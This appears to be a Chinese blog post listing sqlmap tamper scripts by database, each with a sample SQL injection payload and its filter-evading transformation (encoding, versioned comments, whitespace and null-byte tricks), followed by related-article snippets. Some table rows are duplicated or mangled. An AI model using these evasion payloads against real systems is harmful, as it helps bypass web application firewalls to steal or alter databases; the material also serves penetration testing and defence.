sqlmap绕过过滤的tamper脚本分类汇总

最新推荐文章于 2024-01-31 07:18:14 发布
最新推荐文章于 2024-01-31 07:18:14 发布
阅读量2.4k 收藏 5
点赞数
分类专栏： # ——【 SQL Inject】

1、工具介绍

sqlmap是一个自动化的SQL注入工具，其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。

目前支持的数据库是MSSQL、MYSQL、ORACLE以及POSTGRESQL。

SQLMAP采用四种独特的SQL注入技术，分别是盲注、UNION查询注入、堆查询、基于时间的SQL盲注。

其广泛的功能和选项包括数据库指纹，枚举，数据库提取，访问目标文件系统，并在获取完全操作权限时实行任意命令。

在许多情况下你可以通过使用sqlmap工具中的tamper脚本来对目标进行更高效的攻击。

 

2、工具脚本汇总

本文旨在介绍sqlmap中的tamper插件。

sqlmap绕过过滤的tamper脚本分类汇总
支持的数据库脚本名称作用实现方式
ALLapostrophemask.py用utf8代替引号(“1 AND ‘1’=’1”)
‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
base64encode.py用base64编码替换(“1′ AND SLEEP(5)#”)
‘MScgQU5EIFNMRUVQKDUpIw==’
multiplespaces.py围绕SQL关键字添加多个空格(‘1 UNION SELECT foobar’)
‘1    UNION     SELECT   foobar’
space2plus.py用+替换空格(‘SELECT id FROM users’)
‘SELECT+id+FROM+users’
nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示
suitable for替代（例如  .replace（“SELECT”、””)） filters		(‘1 UNION SELECT 2–‘)
‘1 UNIOUNIONN SELESELECTCT 2–‘
space2randomblank.py代替空格字符（“”）从一个随机的空
白字符可选字符的有效集		(‘SELECT id FROM users’)
‘SELECT%0Did%0DFROM%0Ausers’
unionalltounion.py替换UNION ALL SELECT UNION SELECT(‘-1 UNION ALL SELECT’)
‘-1 UNION SELECT’
securesphere.py追加特制的字符串(‘1 AND 1=1’)
“1 AND 1=1 and ‘0having’=’0having'”
MSSQLspace2hash.py绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）‘1 AND 9227=9227’
‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’
equaltolike.pylike 代替等号* Input: SELECT * FROM users WHERE id=1
2 * Output: SELECT * FROM users WHERE id LIKE 1
space2mssqlblank.py(mssql)空格替换为其它空符号Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers
space2mssqlhash.py替换空格(‘1 AND 9227=9227’)
‘1%23%0AAND%23%0A9227=9227’
between.py用between替换大于号（>）(‘1 AND A > B–‘)
‘1 AND A NOT BETWEEN 0 AND B–‘
percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾(‘1 AND 9227=9227– ‘)
‘1 AND 9227=9227– sp_password’
charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
randomcase.py随机大小写* Input: INSERT
* Output: InsERt
charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
MYSQLequaltolike.pylike 代替等号* Input: SELECT * FROM users WHERE id=1
2 * Output: SELECT * FROM users WHERE id LIKE 1
greatest.py绕过过滤’>’ ,用GREATEST替换大于号。(‘1 AND A > B’)
‘1 AND GREATEST(A,B+1)=A’
apostrophenullencode.py绕过过滤双引号，替换字符和双引号。tamper(“1 AND ‘1’=’1”)

 

‘1 AND %00%271%00%27=%00%271’

ifnull2ifisnull.py绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’		(‘IFNULL(1, 2)’)
‘IF(ISNULL(1),2,1)’
space2mssqlhash.py替换空格(‘1 AND 9227=9227’)
‘1%23%0AAND%23%0A9227=9227’
modsecurityversioned.py过滤空格，包含完整的查询版本注释(‘1 AND 2>1–‘)
‘1 /*!30874AND 2>1*/–‘
space2mysqlblank.py空格替换其它空白符号(mysql)Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users
between.py用between替换大于号（>）(‘1 AND A > B–‘)
‘1 AND A NOT BETWEEN 0 AND B–‘
modsecurityzeroversioned.py包含了完整的查询与零版本注释(‘1 AND 2>1–‘)
‘1 /*!00000AND 2>1*/–‘
space2mysqldash.py替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）(‘1 AND 9227=9227’)
‘1–%0AAND–%0A9227=9227’
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like		(‘SELECT id FROM users where id = 1’)
‘SELECT%09id FROM users where id LIKE 1’
percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
randomcase.py随机大小写* Input: INSERT
* Output: InsERt
versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
versionedmorekeywords.py注释绕过* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
* MySQL < 5.1halfversionedmorekeywords.py关键字前加注释* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙，每个关键字之前添加
mysql版本评论		1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)
2.”value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa”
MySQL >= 5.1.13space2morehash.py空格替换为 #号 以及更多随机字符串 换行符* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
 Oraclegreatest.py绕过过滤’>’ ,用GREATEST替换大于号。(‘1 AND A > B’)
‘1 AND GREATEST(A,B+1)=A’
apostrophenullencode.py绕过过滤双引号，替换字符和双引号。tamper(“1 AND ‘1’=’1”)

 

‘1 AND %00%271%00%27=%00%271’

between.py用between替换大于号（>）(‘1 AND A > B–‘)
‘1 AND A NOT BETWEEN 0 AND B–‘
charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
randomcase.py随机大小写* Input: INSERT
* Output: InsERt
charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
 PostgreSQLgreatest.py绕过过滤’>’ ,用GREATEST替换大于号。(‘1 AND A > B’)
‘1 AND GREATEST(A,B+1)=A’
apostrophenullencode.py绕过过滤双引号，替换字符和双引号。tamper(“1 AND ‘1’=’1”)

 

‘1 AND %00%271%00%27=%00%271’

between.py用between替换大于号（>）(‘1 AND A > B–‘)
‘1 AND A NOT BETWEEN 0 AND B–‘
percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
randomcase.py随机大小写* Input: INSERT
* Output: InsERt
charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
Microsoft Accessappendnullbyte.py在有效负荷结束位置加载零字节字符编码(‘1 AND 1=1’)
‘1 AND 1=1%00’
其他chardoubleencode.py双url编码(不处理以编码的)* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
unmagicquotes.py宽字符绕过 GPC  addslashes* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
randomcomments.py用/**/分割sql关键字‘INSERT’ becomes ‘IN//S//ERT’
烟敛寒林o
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
使用sqlmap绕过过滤
08-05
该文档讲解了如何使用sqlmap绕过过滤手段的方法，有兴趣的可以下载看看
sqlmap-tamper脚本分类
09-22
web渗透，sqlmap的脚本分类。渗透
SQLMap的Tamper脚本
最新发布
m0_62207482的博客
01-31 1622
SQLMap是一款用来检测与利用SQL注入漏洞的免费 开源工具，不仅可以实现SQL注入漏洞的检测与利用的自动化处理，而且其自带 的Tamper脚本可以帮助我们绕过IDS/WAF的检测。虽然SQLMap提供了这么多的Tamper脚本，但是在实际使用的过程中，网站 的安全防护并没有那么简单，可能过滤了许多敏感的字符以及相关的函数。这个 时候就需要我们针对目标的防护体系手动构建相应的Tamper脚本。Tamper脚本的构建非常简单，其实渗透测试中真正的难点在于如何针对目标 网站的防护找出对应的绕过方法。
sqlmap绕过过滤的 tamper 脚本分类汇总(1).xlsx
12-10
sqlmap绕过过滤的 tamper 脚本分类汇总(1).xlsx
渗透测试必备神器SQLMAP的所有绕waf脚本合集
10-18
这个脚本合集给出了各种数据库对应的绕waf脚本名称，方便针对各种过滤手段选择对应的脚本 在许多情况下，防火墙只能防御已知的攻击模式和威胁。然而，SQL注入是一种动态的、高度灵活的攻击方式，防火墙很难对其进行全面的防御。SQLMAP利用这一点，通过构造特定的SQL语句，绕过防火墙的检测，直达数据库。 具体来说，SQLMAP首先会尝试猜测应用程序所使用的数据库类型（如MySQL、Oracle等），然后根据该数据库类型的语法和特性，构造出特定的SQL语句。这些语句在防火墙看来可能是正常的、合法的请求，但实际上却包含了恶意的SQL代码，能够导致数据库泄漏数据、甚至完全被控制。 当然，SQLMAP并不是一种万能的工具。它需要使用者具备一定的技术知识和经验，才能正确地使用并获得最佳效果。尽管如此，SQLMAP无疑是一个强大的工具，它可以帮助你发现那些防火墙可能无法检测到的安全风险。 总结起来，SQLMAP是一种强大的、能够绕过防火墙检测的工具。它能够帮助你发现并利用应用程序中的SQL注入漏洞，及时修复这些漏洞，确保你的数据安全。所以，如果你想确保你的应用程序免受潜在威胁的影响，那么SQLMA
SQLMAP深入分析-使用篇（基础使用、进阶命令、tamper脚本）
热门推荐
Love&Share
12-29 1万+
文章目录使用篇基础命令进阶命令输出信息的详细程度目标指定连接时信息指定注入参数指定检测级别指定注入类型枚举信息用例指定数据包注入伪静态注入暴力破解文件操作执行命令UDF提权有状态带外连接：Meterpreter & friends访问 Windows 注册表常规选项Tamper脚本tamper 适用的数据库类型 & 版本自带tamper介绍代码分析攻防 学安全的都知道这个注入神器 Sqlmap，也正是这些神器的出现，我们逐渐变成了“脚本小子”，要想变成大佬，就要求不仅会用还会写，在面试中也.
sqlmap绕过过滤的 tamper 脚本分类汇总
03-17
sqlmap绕过过滤的 tamper 脚本分类汇总 sqlmap
二、sql绕过过滤
黑日里不灭的light
11-27 761
解释：sql绕过过滤，通俗来说就是你注入的sql语句里面有一些关键词被WAF过滤掉了，你需要想一些办法进行绕过。解释：有一种内联注释注入(其只存在于mysql)，其相比上面的注入更常用，其是。解释：下面是三种注释方法，常用的是前两种，其中在浏览器中注释一般用。，如果匹配成功就进行将关键词删除，我们可以构造。解释：指某些函数被过滤之后用同义函数去替代。从而实现注入（这种情况适合条件很苛刻）也可能成功绕过WAF的过滤实现注入。适用情况：WAF会进行匹配关键词如。适用情况：当WAF将如。适用情况：对例子一般。
SQL注入绕过关键词过滤的小技巧及原理（union select为例）
weixin_54848371的博客
09-22 1万+
本文以联合查询关键字union select为例讲解绕过关键词过滤的一些方法。之所以了解绕过，关键是发现sqlmap有时候真的是不靠谱，只能指定命令跑。有一些简单过滤很容易绕过却不能检测。虽然麻烦点，手工yyds~~。 1、大小写变种 UNION SELECT=>uNIon SElecT 选择几个字母变换大小写，可以绕过部分不太聪明的过滤器。在sql查询中是不区分大小写的所以查询语句正常执行 2、使用SQL注释 union select=>/**/UNION/**/...
Web安全之SQL注入绕过技巧
m0_74131821的博客
04-11 1582
今天跟大家聊聊SQL注入的几种绕过技巧
sql注入绕过与sqlmap绕过使用总结
jklbnm12的博客
08-12 843
前言 最近挖edusrc的时候遇到有注入点但是有waf绕不过，头疼。 可以看到还是phpstudy建站的，太熟悉了这个，不知道这个什么waf各位师傅知道的可以评论一下，所以写这篇文章是供各位师傅在实战中遇到waf可以看一看，能给各位师傅一点帮助，所以就想着写一篇。 还有一个很有可能是有注入点的但是，用了很多注入语句都不行，不知道怎么回事 后面再去慢慢研究。 正文 手动绕过 一：空格被过滤 当空被过滤掉的时候（也就是被删掉的意思）问你就可以使用编码或者注释进行绕过 %20,%09,/**/ &n
sqlmap进阶使用
NSQ0207的博客
07-20 240
Sqlmap的开源项目，托管在github，最简单的安装方式便是使用git，执行如下命令： -- level 指需要执行的测试等级，一共有5个等级（1-5），可以不加level。默认是1。使用参数“-u”或“–url”指定一个URL作为目标默认情况下Sqlmap会测试所有GET参数和POST参数，实际上还可以手动指定一个以逗号分隔的、要测试的参数列表，该列表中的参数不受level限制。这就是“-p”的作用。举个例子，若想只测试GET参数“id”和User-Agent，则可以这么写：如果不想测试某一参数则可以
进阶的sqlmap用法（参数讲解）
0yst3r ‘s blog
09-21 9860
进阶的sqlmap用法 参数讲解 1>探测等级： --level 5 --level 5 指的是需要执行的测试等级 一共有5个等级（1-5） 不加 level 时，默认是1 5级包含的payload最多，会自动破解出cookie、XFF等头部注入，相对应他的速度也比较慢。 level=2 http cookie会测试 level=3 http...
测试工具-sqlmap篇
weixin_42902126的博客
06-27 4166
sqlmap支持直连，通过以下命令来直连。 1、服务型数据库：mysql，oracle，sqlserver，postgresql等 服务型数据库(前提知道数据库用户名和密码): mysql数据库root账户默认不支持外链，参考文档：https://qa.1r1g.com/sf/ask/3435601921/ 2、文件型数据库：sqlite，access，firebird等 文件型数据库(前提知道数据库绝对路径)： sqlmap获取目标 单一url探测 参数使用 -u 或 --url URL格式：http(s
SQLmap的下载和安装,以及其参数大全和使用教程（值得收藏）
Gjqhs的博客
02-17 1万+
sqlmap官网 先把python 下载安装 ，再下载sqlmap 再把aqlmap扔到目录里解压 桌面建立cmd的快捷方式
Sqlmap使用安装和命令详细教程
2301_77147676的博客
03-22 1297
-auth-type=ATYPE HTTP身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM) --auth-cred=ACRED HTTP身份验证凭据（用户名:密码） --auth-cert=ACERT HTTP认证证书（key_file，cert_file） --proxy=PROXY 使用HTTP代理连接到目标URL --proxy-cred=PCRED HTTP代理身份验证凭据（用户名：密码） --ignore-proxy 忽略系统默认的HTTP代理。
sqlmap 绕过斜杠
09-12
对于使用 SQLMap 绕过斜杠的问题，你可以尝试以下方法： 1. 使用 `--tamper` 参数：SQLMap 提供了 `--tamper` 参数，可以加载自定义的 tamper 脚本。你可以寻找已经编写好的 tamper 脚本，或者自己编写一个用于绕过斜杠限制的 tamper 脚本。例如，可以尝试使用 `apostrophemask` tamper 脚本来绕过斜杠限制。 2. 使用双斜杠：有时候，使用双斜杠（`//`）代替单斜杠（`/`）可以绕过一些斜杠限制。你可以尝试将 SQL 注入语句中的斜杠替换为双斜杠，＊＊＊2F`，可能能够绕过某些限制。 请注意，这些方法并不保证一定能够绕过所有的斜杠限制，具体的绕过方式还需要根据实际情况进行尝试和调整。同时，使用 SQLMap 进行测试和攻击要遵守法律和道德规范，确保你有合法的授权和目的。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值